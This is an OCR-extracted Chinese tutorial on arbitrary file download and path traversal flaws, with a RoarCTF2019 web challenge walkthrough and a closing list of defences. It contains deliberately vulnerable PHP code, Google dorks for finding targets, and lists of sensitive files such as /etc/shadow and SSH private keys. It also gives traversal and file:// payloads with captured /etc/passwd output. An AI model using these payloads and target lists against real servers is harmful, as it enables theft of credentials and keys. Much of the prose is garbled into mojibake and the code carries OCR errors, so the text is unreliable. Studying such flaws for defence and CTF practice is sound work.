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<?php
$filename="test.txt”;
readfile($filename);
?>

<?php

$filename="test.txt”;

echo file_get_contents($filename);
?>
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readfile() - file get_contents() - fopen() #, $filename A LEIRKEERIA S, A NEHZERIEREX
{4, W /etc/passwd « ./index.php « /config.ini .
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—eE Rl T SRR, AT ERMH T RIIEE, [EEXNHS TERESCHEA MRS, R B T e RS,
ROpR SO T IR .
R4 R E

o HIEBOLIFHIERHL

o EMIMKIBREM PR, HEFLERR, SERBRAH
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o —ANEWKIMYE, FE—NTERXAHIIRE, RIS NS EBOC 47

AT BB B R T
1. HETH:

<a href="http://www.a.com/xxx.rar”> F#</a>

2. Wiinheadersk

<?php
$filename = $ GET['filename'];
echo '<hI>FIETFHXH</h1><br /><br />';
echo file_get_contents($filename);

<span class="nb">header</span><span class="p">(</span><span class="sl1">'Content-Type: imgage/jpeg'</span><span c
lass="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Disposition: attachment; filenam
e='</span><span class="0">.</span><span class="nv">$filename</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Lengh: '</span><span class="o0">.
</span><span class="nb">filesize</span><span class="p">(</span><span class="nv">$filename</span><span class="p">
));</span>
?>
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23R B /root/.bash_history FH H OB E A rootil fR

MERRHE, HAGFA ../ REBEER %  ssh FHRRERS B X,

BEHmysql ™) .bash_history . REFRFILRKT —BAUMAKHEXER. REEN THFEHIFRAE S, ERT
BIRHERBRES, Rzl EFMESR, KB TR L E4rREREEHITHT.

— 3 WA A 7 R
java+oracle¥f 3%

A LL4E T #/WEB-INF/classes/applicationContext.xml 304, iX B HEH LK RwebR &2 MAHMAEE, A5 T HR/WEB-
INF/classes/xxx/xxx/aaa.classt XA AT R4 1%, AEH R F Mupload kg =& & BAAE —Kapi O, WMRFEERERNIAT
DA Hh 438 A% T T apid DK AT B SOt ik AR 55 2% .

HTT LSS T Rt B C B SO, ZEAR B SR/WEB-INF/Web xmli) (— AR A 1R £ A A, G I &8 S0 PR e 2 AR D 5 R s M5
B)e

H A rootti fR

fElinuxh B IXFE—A 4 locate £ ARERCHHE RN, BEABRAEAKER, MEBER—NUE

JE var/lib/mlocate/mlocate.db. XA FEH &H AMFA XHELR. LnxRABSIEIEXMUEE, HFEEREIFNEH —K.
YUARIER LR AWERT, XANTLER—NMEEGFHKNT, BATF AR T HIFEEmocate.db3C 4 T TR, FIH
locatefir &% SidE R, XEBEHES T EMECHBERER.

locate B 77 ik

locate mlocate.db admin

T LKF mlocate.db LS admin P& 5R%0H K.

fvar /lib/mysql/phpmyadmin/pma__tracking.ibd
/var {lib/mysql/phpmyadmin/pma__userconfig.frm
fvar {1ib/mysql/phpmyadmin/pma__userconfig.ibd
Jvar/lib/mysql/phpmyadmin/pma__usergroups.frm
/var /1lib/mysql/phpmyadmin/pma__usergroups.ibd
/var /lib/mysql/phpmyadmin/pma__users.frm

Jfvar {1lib/mysql/phpmyadmin/pma__users.ibd
Jfvar/lib/phpmyadmin/blowfish_secret.inc.php
Jvar /lib/phpmyadmin/config.inc.php

/var /1lib/phpmyadminftmp

Jfvar flibfucf/cache/:etc:dbconfig-common:phpmyadmin.conf
Jfvar/tmp/phpmyadmin.phpmyadmin.2019-07-21-16.25.mysql.gpjpN7
fvar fwww/html/phpmyadmin

Jvar fwww/html/BWVS/admin

Jvar fwww/html/BWVS/admin/delCom. php

Jvar /www/html/BWVS/admin/delUser.php

fvar fwww/html/BWVS/admin/index.php

Jvar /www/html/BWVS /admin/logCheck.php

Jfvar fwww/html /BWVS/admin/login.php

Jvar /www/html /BWVS/admin/manage.php

fvar fwww/html/BWVS/admin/manageCom. php

Jvar fwww/html/BWVS/admin/manageUser.php

Jvar fwww/html /DVWA/hackable/users/admin. jpg
Jvar /www/html/bbs/admin

PR ZAN U AT AR B2 AR 5 2R A RATEER WA FH T ERERTAH — N —NEFRE R, ERXAN R Aroothl P74 &
B 5B — A EEAIE A AR A linux 3% B — AN /proc/self/cmdline HETHFER cmdline 23, W PRI BIRZER .

ERRE, ERSF TRIFFENAMAEZRATEBIRE, RITEEX RS HSEEXHH TR, KRBKRENRERFLS. IR,
AT AR 8 ZREX 45 S8R — P 124 IR 5 2 IR TR TR

OXO44E = SCAF LS T IR 12 3
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1. webiRiF#I#i4% (awvs. appscan. openvas. nessus)

2. FHERNEENSHLEE

Google search

inurl:”readfile.php?file=
inurl:”read.php?filename=
inurl:”download.php?file=
inurl:”down.php?file=

pex; B

readfile.php?file=**. txt

download.php?file=**.rar

¥4

&RealPath= . &readpath=. &FilePath=. &filepath=. &Path=. &path=. &Inputfile=. &inputfile=. &url=. &urls
=, &Llang=. &dis=. &Data=. &data=. &readfile=. &filep=. &Src=. &src=. &menu=. META-INF= . WEB-INF

Ox058 R fE B

Windows:

C:\boot.ini //EFH RZRRA
C:\Windows\System32\inetsrv\MetaBase.xml //IISH B 32
C:\Windows\repair\sam /471 R Z¥IK 2 2 %15
C:\Program Files\mysql\my.ini //MysqIfic &

C:\Program Files\mysql\data\mysqgl\user.MYD //Mysq|l root
C:\Windows\php.ini /phpli B 15 &

C:\Windows\my.ini //MysqIfic & 15 &

Linux:

[root/.ssh/authorized_keys /7% & ® BB EN, FTER.sshHFKT, FHEauthorized keys3f, FHIid_rsa.pubP A& Hli %
[root/.ssh/id_rsa //sshFh%H,ssh A% &id_rsa.pub

Iroot/.ssh/id_ras.keystore /B85 il HH AL P A4

/root/.ssh/known_hosts

IIssh&= 1A )3T+ EHL A A 4H (public key) 3R F#E~/.ssh/known_hosts. 24 &5 40 EHEHLE, OpenSSHE M A4, TR AL
AF, OpenSSHL K HEE, BAIRZEIDNS Hjackz KH L.

letc/passwd // K F (5 B

letc/shadow // T F* 2555 ST 1

letc/my.cnf //mysql Bt B X 4F

letc/httpd/conf/httpd.conf // Apachelic B 34

[root/.bash_history //F F* [ 52 iy e 3 XA

[root/.mysq|_history //mysql i 5 48 F 324

Iproc/self/fd/fd[0-9]* (AR RAT)

Iproc/mounts /B R AR L&

Iporc/config.gz // 3 1 E B SC A

Ivar/lib/mlocate/mlocate.db /4304 4%

Iporc/self/cmdline /247 32 i cmdline S 4

Ox064E = 30 A B 5 T 8w i B iE
A RO R AU

ZNIMER



<?php
$filename=$_GET['f'];
echo file_get_contents($filename);

?>

-

readfile.php?f=../.
readfile.php?file=.

./etc/passwd

oo
oo oS /). /etc/passwd%00

@ Load URL {http:_.",’192.168.‘l44.133,freadﬁle.php?f=..f../..f,.f..f../etcfpasswd
& split URL

4 Execute

[ ] Postdata [ ]| Referrer 4% OxHEX ™ &% %URL ¥ &% BASEG4 B Insert string to re
@@~ ACookiesv » CsSv [U=my @WEL~ @REESEY sy Jmdy Janr ATS~ WmEERAEY (DD

JMIETCRAFT - Services

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:
/bin/sync games:x:5:60:games:/usr/games:/usr/sbhin/nologin man:x:6:12:man:/var/cache
/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:

[No information available]

/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var

lennnl/imien- Mier/cshin/nalanin nravie-y'123-12-nrone-fhin-Mnier/chin fnalanin

readfile.php?f=../index.txt

@l Load URL | http://192.168.144.133/readfile.php?f=file:///etc/passwd

& split URL

b Execute

[] Postdata [ ]| Referrer 4 OxHEX ™» %W %URL ¥  #&® BASE64 B Insert string to repl:
@z~ ACookiesw 2 CsS~ =~ @EE~ @GNREE~ Wl Jimicr Jakr ATE~ WESHEAE N shE
Mm - Services- ‘ [No information available]

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:
/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache
/man:/usr/sbin/nologin lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:

-

file:// Dhihill , EBCCHEANE

readfile.php?f=Ffile:///etc/passwd
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@l Load URL [ http://192.168.144.133/test/readfile.php?f=./index.tx{
i split URL

’ Execute

[ ] Postdata [ | Referrer € OxHEX ™ &% %URL ™ @& |
@B~ AcCookiesv s Css~ =t~ WAL~ ONEES~ [=mins Jimo~ 5
IETCRAFT - Services-

| love play CTF

[Mo information available]

BT REKAE
AT :

<?php

$filename = $_GET['f'];

echo '<h1>HFIETFEHICMH! </hl><br /><br />';
echo file_get_contents($filename);

header(‘Content-Type: imgage/jpeg’);
header(‘Content-Disposition: attachment; filename=".

filename< /span> _ .
i 1] |

http://192.168.144.133/test/download.php?f=file:///root/.ssh/id rsa

[] Postdata [ Referrer 4% OxHEX ™» % %URL ¥ &% BASE64 ™ | nsert string to replace
kiesv 2 CSSv [t~ @ER~ @RIES- D=k Jindy Sk ATS~ @WESEREy (L
[No information available] IFfEFTH file_ root .ssh id rsa X

Insert replacing string Replace All |

Servicesr

ERE T
[] file_ root .ssh id rsa

IZ{42ERY:  sshyid rsa File (45 515)
FiR:  http://192.168.144.133

HEHEE Firefox f0{EaMBIHSH?
O 1%, BE©) HEB).. |
@ FEEHE(S)

[ LsEmEREREnE e RS THE, (A)

| m= || m

1R, RTRIXANCHEHEEHE
0xO073%s ¥ A bt
4 £ KIS HUENPHP Ui -
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1A AENT, RS & R
2 BRI, WEHERIRR
IR TE, WA T I

0x 08 ¥ 1 FH 5z &k
FEIJEB AR S THIFRH, MERNER T —/MEE XIS FTRIFFEKWebE, FrAEREZSE—T

RoarCTF2019-Web: Easy Java

BBR Login

a username

a password

Login

ARFFOL, WARAHEFRK. A~ help.docx XA LT 8. TR BERER A T HIWH.
RirlEF help”, IMB, KB, KUGETHA—EHAEMTHEAT . FEREBZANPOST, MATUUTHT .

I Burp Suite Professional v2.1 - Temporary Project - licensed to Larry Lau = O X

Burp Project Intruder Repeater Window Help

[ Dashboard T Target T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options: T User options. ]

1 = 2 =
Go Cancel < |¥ >|r Target: hitp://0570aaa9-47a5-4fb3-8f52-8a3a356883999.node3.buuoj.cn / ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST MDownload?filename=help docx HTTPA A A HTTPH A 200 OK i
Host: 0570aaa9-47a5-4fh3-8f52-8a3a35553999 node3 buuoj.cn E Server: openresty
User-Agent: Mozilla/s.0 (Windows NT 10.0; WIOWGES; rv:48 0) Gecko/20100101 Firefox/48.0 Diate: Fri, 18 Oct 2019 16:07:44 GMT
Accept: texthtml applicationfhtmi+xml applicationfml;g=0.9 " q=0 8 Content-Type: application/vnd openxmiformats-officedocument .wor dprocessingml document
Accept-Language: zh-CH zh;gq=0.8 en-US;g=0.5 en;g=0.3 Connection: close
Accept-Encoding: gzip, deflate Content-Disposition: attachment; filename=help docx
DMT: 1 Content-Length: 12376
Cookie: JSESSIONID=DSE1 AZF2BE054011FE2CTEFI3F9A4158
¥-Forwarded-For: 5558 420 0000[Cortert_Types].xml
Connection: cloge '{EIDEIE“"EIEIF" Ubf'l:I:I*IIIEI:vEI REIEIEI{EIVL ':EIEIEIQUEIEI
Upgrade-Insecure-Requests: 1
Content-Type: applicationf-www-form-urlencoded
Content-Length: 18
filename=help cocx ooek
s EIEIEI(EIEII O0ic EIEIEIEI[ILEIJ-}]EIEI: oy
3 i 0E00MH EOO D e 00")

- b

v ¥
® [;J [;J 0 matches 0 matches

Done 12,632 bytes | 234 millis
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N8 B $&onjava, BTLAR] PLSE T 8 Mk S B SCHF, 7EAR B 3% WEB-INF/web . xml

I Burp Suite Professional v2.1 - Temporary Project - licensed to Larry Lau = O X
Burp Project Intruder Repeater Window Help
[ Dashboard ]'Target T - T Intruder T Repeater T Sequencer TDecnder T Comparer T Extender T Project options: T User options. ]
1 = 2 = 3 =
Go Cancel < |¥ >|r Target: hitp://0570aaa9-47a5-4fb3-8f52-8a3a356883999.node3.buuoj.cn / ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | XML
POST Download?filename=\WEB-INF fweb xml HTTPH 1 " A
Host: 0570aaa9-47a5-4fh3-8f52-8a3a35553999 node 3 buuoj.cn ™ <serviet= ™
User-Agent: Mozilla/s.0 (Windows NT 10.0; WIOWES; rv 48 0) Gecko/20100101 Firefox/48.0 =servlet-name=DownloadController</serviet-name=
Accept: texthtml applicationfhtmi+xml applicationfml;g=0.9 " q=0 8 =serylet-cl wm.ctf.D: loadController=/zservigt-class=
Accept-Language: zh-CH zh;gq=08 en-US;g=0.5 en;g=0.3 <lzervlet>
Accept-Encoding: gzip, deflate =servlet-mapping=
DNT: 1 =zerviet-name=DownloadController=/zerviet-name=
Cookie: JSESSIONID=DSE1 AZF2BE054011FE2CTEFI3F9A4158 =url-pattern=Download=/url-pattern=
¥-Forwarded-For: 5888 <lservlet-mapping=
Connection: close
Upgrade-Insecure-Requests: 1 <=serviet=
Content-Type: applicationf-www-form-urlencoded =serylet-name=FlagController=/serviet-name=
Content-Length: 18 =servlet-class=com.wm.ctf.FlagController=/zerviet-class=
=fgerviet> fal
filename=help clocx =servlet-m;
=serg#i-name=FlagController=/serviet-name=
-pattern=Flag=/url-pattern=
Izerviet-mapping=
- fwveb-a
' <lweb-app= r{
® < + l = T 0 matches ® =< + l = 0 matches
Done 1,767 bytes | 182 millis
AY 1 AY AN \:\b’ AY AN AY 4
ROBRAEAagi B SCHEALE, REN(E F#R) /WEB-INF/classes/ FHiflagifi @i B, X NJavaz 350
= > > N . —
( .class ) JavafmiFssgmitJavali XX ( .java ) FEAER“HIRSCH.
V A} AN AY
RABHflagh B B EN: /WEB-INF/classes/com/wm/ctf/FlagController.class
[ %] Burp Suite Professional v2.1 - Temporary Project - licensed to Larry Lau = O b
Burp Project Intruder Repeater Window Help
[ Dashboard ]'Target T Xy T Intruder T Repeater T Sequencer TDecnder T Comparer T Extender T Project options: T User options. ]
1 = |2 = [
Go Cancel <|¥ 2 |r Target: hitp:/0570aaa9-47a5-4fb3-8f52-8a3a3568683999.noded.buuoj.cn / ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST Download ?filename=\WEB-INF iclaz ses/comiwmictfFlagCortraller class HTTPAH 1 'y HTTPAM A1 200 OK | i
Host: 0570aaa9-47a3-4fh3-8f32-8a3a358583999 node3 huuaj.cn E Server: openresty
User-Agent: Mozilla/s.0 (Windows NT 10.0; WIOWES; rv 48 0) Gecko/20100101 Firefox/48.0 Diate: Fri, 18 Oct 2019 16:30:13 GMT
Accept: texthtml applicationfhtmi+xml applicationfml;g=0.9 " q=0 8 Content-Type: applicationfjava
Accept-Language: zh-CH zh;gq=0.8 en-US;g=0.5 en;g=0.3 Content-Length: 872
Accept-Encoding: gzip, deflate Connection: close
DMT: 1 Content-Disposition: attachment; flename=AEB-INFiclassesicomiwmlictfFlagController class
Cookie: JSESSIONID=DSE1 AZF2BE054011FE2CTEFI3F9A4158
¥-Forwarded-For: 8888 A
Connection: close oooo  Oooooooo
Upgrade-Insecure-Reguests: 1
Content-Type: applicationf-www-form-urlencoded 000" 00flag O0Ljavalang/String, O0<init=00¢)" O0Code OOLineMumber Table 0OdoGet OR(Ljavaxisery
Content-Length: 18 let/itp/HitpServistRequest Liavax/serviethitp/Hitp ServietResponse; VO
Exceptions 02050
filename=help clocx SourceFile O0OFlagController javaOORuntime'/isible Annotations O%Ljavax/iservietfannotation/\VebServle
FlagController O I:II:II:I:IZlnthSS4NjngTNkZC1 hHZMELTRmMMTROG ZIDC01 MG ZNM4 000
MHitpServiet O Djavax/serviet/ServietExceptionD0javaiolOExceptiond
-
B ¥ M Merird N7 iawafana Shrimee WAOTON ¥
@ = + [ = | |7 0 matches 0 matches
Done 1,108 bytes | 125 millis

Base64f##515 Flflag

Baseb644migitit
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ZmxhZ3 34N jgwZTNKZC1hNZNKLTRmMT T t0GZ10C01IMGZ jN jM40DQ3YmF3Cg==

= | R D EESRIGHEIES

flag (8680e3d )fc638847hal

Ox09% i B f & &
#EH

o IYE . A, FHPEWwFRARERY LS B
o IE U A& AT P N S8
e php.ini BLE open_basedir PR E A5 5] JE

X TRFEFER

o TR MILHR, MIATEBEIN, SN THREREREEHURL, MAZEN FTREFEREA N
URL: www.test.com/download?filename=3144

o FLEHE: XA EEREI S B S EET R MDA — A, W ICFRAHAT B A R, RSB T R EE = TR
SHHATIHL .

o web /3 A #2 7 AT DA F chroot 5560, & ¢ U7 8] web B 3%, B 8 F 4% BR A2+ S HOR U5 1) SOk B 3%, {3 FL BSE R A B 7E U
i) BH%Z M. wwwH FHt & —A>chrootPi . Hichrootfilid H B FRAME B 3%, A “chroot SR (BT 1B W5 Bk wk /2 #8 1@ izt chroot
HUBRESIEAN TR BIMR B %, B IEARERKERE B Fd, RIEZHEER X% B R EHETF B KK SUEH s
fE, MTIRIEEEANPRSTER I 242
V4l B ikchrootff FHE, TIS%: blog.csdn.net/frozen_fish/article/details/2244870

o ARRSCH T EIRIE A W] BE R web TR A B H R4 (I ARCA I T BRI 72 42, 6 anibmi¥iwebsphere f4E & S0 T 8
T, JmEFHLPEFORATBER.

o ETHMSCH LR AF E B .

o NHFHERAFEHEEE, kAR RID T 8.

o FP T B B R Z AT AR AT .

o MMFBAEWeb TR EEVIHIKIHRT

o ARVFRMH R\ RS

o ATFXMEATAEEweb N AR T # H bl g #AT T 8o
o WRXMATHHS.

0x105 7£ J5 T

SCAFEREL. TR B, MER. bBf%, BRXFRAERR, SEEMRANZES . XERRERSP T — T XHFERES T 8RF

£, Zhttps://xz.aliyun.com/t/6594
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